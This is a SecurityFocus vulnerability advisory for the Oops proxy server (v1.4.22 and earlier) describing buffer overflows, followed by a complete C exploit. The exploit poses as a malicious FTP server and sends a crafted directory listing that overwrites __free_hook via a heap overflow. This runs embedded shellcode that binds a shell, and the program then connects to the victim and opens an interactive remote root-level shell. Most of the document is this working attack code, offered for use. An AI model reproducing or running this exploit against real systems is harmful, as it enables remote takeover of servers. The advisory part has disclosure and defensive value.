source: http://www.securityfocus.com/bid/2099/info

Oops is a freely available proxy server package, written by Igor Khasilev. A problem exists in the package which could allow for the arbitrary execution of code.

Multiple buffer overflows exist in this product. In one instance, it is possible to make a request with numerous quotation marks (") in the request, which are later translated to the html tag """. The translation of this character makes it possible to overflow and potentially execute code on the stack. This makes it possible for a malicious user to execute code with the privileges of the user the proxy server is operating as.

The secondary problem involves a buffer overflow in the DNS resolution code. It is possible to create a stack based overflow by forcing the proxy to attempt to resolve a long host/domain name. This makes it possible to overwrite variables on the stack, and potentially execute arbitrary code. It is possible for a malicious user to exploit this problem and execute commands with the privileges inherited by the proxy server process. 

/* Dimostrative Exploit Against Oops Proxy Server v 1.4.22 and prior
 * Coded by |CyRaX| <[email protected]>
 * Packet Knights Crew : www.pkcrew.org
 * Tested on Slackware 7.0
 *
 * Greetz : all the bros of pkc, expecially recidjvo,asynchro & cthulhu
 * LordFelix & bikappa : for some hints about heap overflow
 * BlackBerry , Nobody88, sMAV, Mav, Mr^Moon and all the others
*/


#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/types.h>

#define ALIGN 0
#define __FREE_HOOK 0x40175994
#define SHELLCODE 0x80b1223


char c0de[]="\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
            "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
            "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
            "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
            "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
            "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
            "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
            "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
            "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";


int main(int argc,char **argv){
   int s,s2,clnsock,i;
   struct sockaddr_in srv,clt;
   char buff[500],sndbuff[1500],magic[1000],magic2[50],magic3[5000];
   unsigned long ip;
   int h1,h2,h3,h4,p1,p2;
   u_short port;
   int passive=0,tmplen,wrtlen;
   struct malloc_chunk{
      unsigned int ps;
      unsigned int sz;
      struct malloc_chunk *fd;
      struct malloc_chunk *bd;
   }mc;
   fd_set setz;

   mc.ps=0xffffffff & ~1;
   mc.sz=0xffffffff;
   mc.fd=(struct malloc_chunk *)(SHELLCODE); /* shellcode pointer */
   mc.bd=(struct malloc_chunk *)(__FREE_HOOK-8); /* target pointer */
   memset(magic2,0x41,0);
   memcpy(magic2+0,&mc,sizeof(mc));

   memset(magic3,'\x90',50);
   memcpy(magic3+50,c0de,strlen(c0de));
   magic3[50+strlen(c0de)]=0;

   if(argc<4){
      printf("Proof exploit against oops proxy server heap buffer overflow!\n");
      printf("by |CyRaX| <[email protected]>\n");
      printf("Member Of Packet Knights Crew - http://www.pkcrew.org\n");
      printf("Usage ./oopsexp <your_ip> <victim ip> <hostname len>\n");
      printf("your ip: it is necessary for the passive mode\n");
      printf("hostname len is the len of the host that he *thinks* to have\n");
      printf("         for example if the hostname is c500 you must put 4 here\n");

      exit(0);
   }
   printf("now set the victim as your proxy in any web browser and go to\n");
   printf("ftp://<your_ip>\n");

   for(i=0;i<strlen(argv[1]);i++)if(argv[1][i]=='.')argv[1][i]=',';


   s=socket(AF_INET,SOCK_STREAM,0);
   srv.sin_addr.s_addr=INADDR_ANY;
   srv.sin_port=htons(21);
   srv.sin_family=AF_INET;
   if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
      printf("cannot bind to port 21 !\n");
      exit(0);
   }
   listen(s,1);
   clnsock=accept(s,(struct sockaddr *)&clt,sizeof(clt));
   close(s);
   strcpy(buff,"220 exploit is here :)\r\n");
   send(clnsock,buff,strlen(buff),0);
   recv(clnsock,buff,500,0);
   strcpy(buff,"331 any pass is good d00d\r\n");
   send(clnsock,buff,strlen(buff),0);
   recv(clnsock,buff,500,0);
   strcpy(buff,"230 oky d00d.. login done!\r\n");
   send(clnsock,buff,strlen(buff),0);
   while(1){
      memset(buff,0,500);
      if(recv(clnsock,buff,500,0)<0)break;
      if(strstr(buff,"SYST")){
         strcpy(sndbuff,"215 UNIX Type: L8\r\n");
         send(clnsock,sndbuff,strlen(sndbuff),0);
      }
      if(strstr(buff,"PASV")){
         srv.sin_port=htons(1322);
         if(passive==0){
            s=socket(AF_INET,SOCK_STREAM,0);
            if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
               printf("cannot bind to port 1322 for passive mode!\n");
               exit(0);
            }
            listen(s,4);
            passive=1;
         }
         else {
            close(s2);
         }
         sprintf(sndbuff,"227 Entering Passive Mode (%s,5,42)\r\n",argv[1]);
         send(clnsock,sndbuff,strlen(sndbuff),0);
      }
      if(strstr(buff,"TYPE")){
         strcpy(sndbuff,"200 vabbuo' vabbuo'\r\n");
         send(clnsock,sndbuff,strlen(sndbuff),0);
      }
      if(strstr(buff,"NLST")){
         if(passive){
            s2=accept(s,NULL,NULL);
            strcpy(sndbuff,"150 Opening ASCII mode data connection for file list.\r\n");
            send(clnsock,sndbuff,strlen(sndbuff),0);
            sprintf(sndbuff,"%s\r\n",magic3);
            send(s2,sndbuff,strlen(sndbuff),0);
            close(s2);
            strcpy(sndbuff,"226 Transfer complete.!\r\n");
            send(clnsock,sndbuff,strlen(sndbuff),0);
        
         }
      }

      if(strstr(buff,"LIST")){
         strcpy(sndbuff,"150 vieni pure amore!\r\n");
         s2=accept(s,NULL,NULL);
        
         /*   HOW MANY BYTES TO WRITE COMPUTING */
         tmplen=0;
         tmplen=strlen("Arwxrwxrwx rooOOOt   \r\n ")*3+strlen(magic2)*3+
           strlen(magic3)*3;
         tmplen=tmplen+128; /* dovesok */
         tmplen=tmplen+atoi(argv[3]);
         tmplen+=10;
         wrtlen=strlen("<img src=\"http://:80/icons/unknown.gif\">"
                       "alt=\"[Unkn] \" ")+atoi(argv[3]);
         wrtlen=wrtlen+strlen("Arwxrwxrwx rooOOOt   \r\n")+strlen(magic2);
         i=0;

         while((wrtlen-tmplen)<16){
               magic[i]='"';
               tmplen+=3; /* 1 *3 */
               wrtlen+=6; /* " */
               i++;
         }
         magic[i]=0;
         printf("ora tmplen %i | wrtlen %i\n",tmplen,wrtlen);
        
        
         memset(sndbuff,0,1500);
         snprintf(sndbuff,6000,"Arwxrwxrwx rooOOOt %s %s 2000 %s\r\n",
                  magic,
                  magic2,
                  magic3);
        
         send(s2,sndbuff,3000,0);
         strcpy(sndbuff,"226 Ho finito\r\n");
         send(clnsock,sndbuff,strlen(sndbuff),0);
         shutdown(s2,2);
         printf("closed!\n");
         sleep(5);
         s2=socket(AF_INET,SOCK_STREAM,0);
         clt.sin_addr.s_addr=inet_addr(argv[2]);
         clt.sin_port=htons(3879);
         clt.sin_family=AF_INET;
         if(connect(s2,(struct sockaddr *)&clt,sizeof(clt))!=0){
            printf("SORRY.. it didn't work!\n");
            exit(0);
         }
         strcpy(sndbuff,"uname -a;id\n");
         send(s2,sndbuff,strlen(sndbuff),0);
         while(1){
            FD_ZERO(&setz);
            FD_SET(0,&setz);
            FD_SET(s2,&setz);
            select(s2+1,&setz,NULL,NULL,NULL);
            if(FD_ISSET(0,&setz)){
               memset(sndbuff,0,sizeof(sndbuff));
               fgets(sndbuff,sizeof(sndbuff),stdin);
               send(s2,sndbuff,strlen(sndbuff),0);
            }
            if(FD_ISSET(s2,&setz)){
               memset(sndbuff,0,sizeof(sndbuff));
               recv(s2,sndbuff,sizeof(sndbuff),0);
               printf("%s",sndbuff);
            }
         }
      }
      if(strstr(buff,"CWD")){
         strcpy(sndbuff,"250 SUUU.. FATTI SOTTO !\r\n");
         send(clnsock,sndbuff,strlen(sndbuff),0);
      }
      if(strstr(buff,"PWD")){
         strcpy(sndbuff,"257 \"/\" ti stai cagando sotto eh ?!\r\n");
         send(clnsock,sndbuff,strlen(sndbuff),0);
      }
      if(strstr(buff,"QUIT")){
         close(clnsock);
      }
   }
   close(clnsock);
   close(s);
   close(s2);
}
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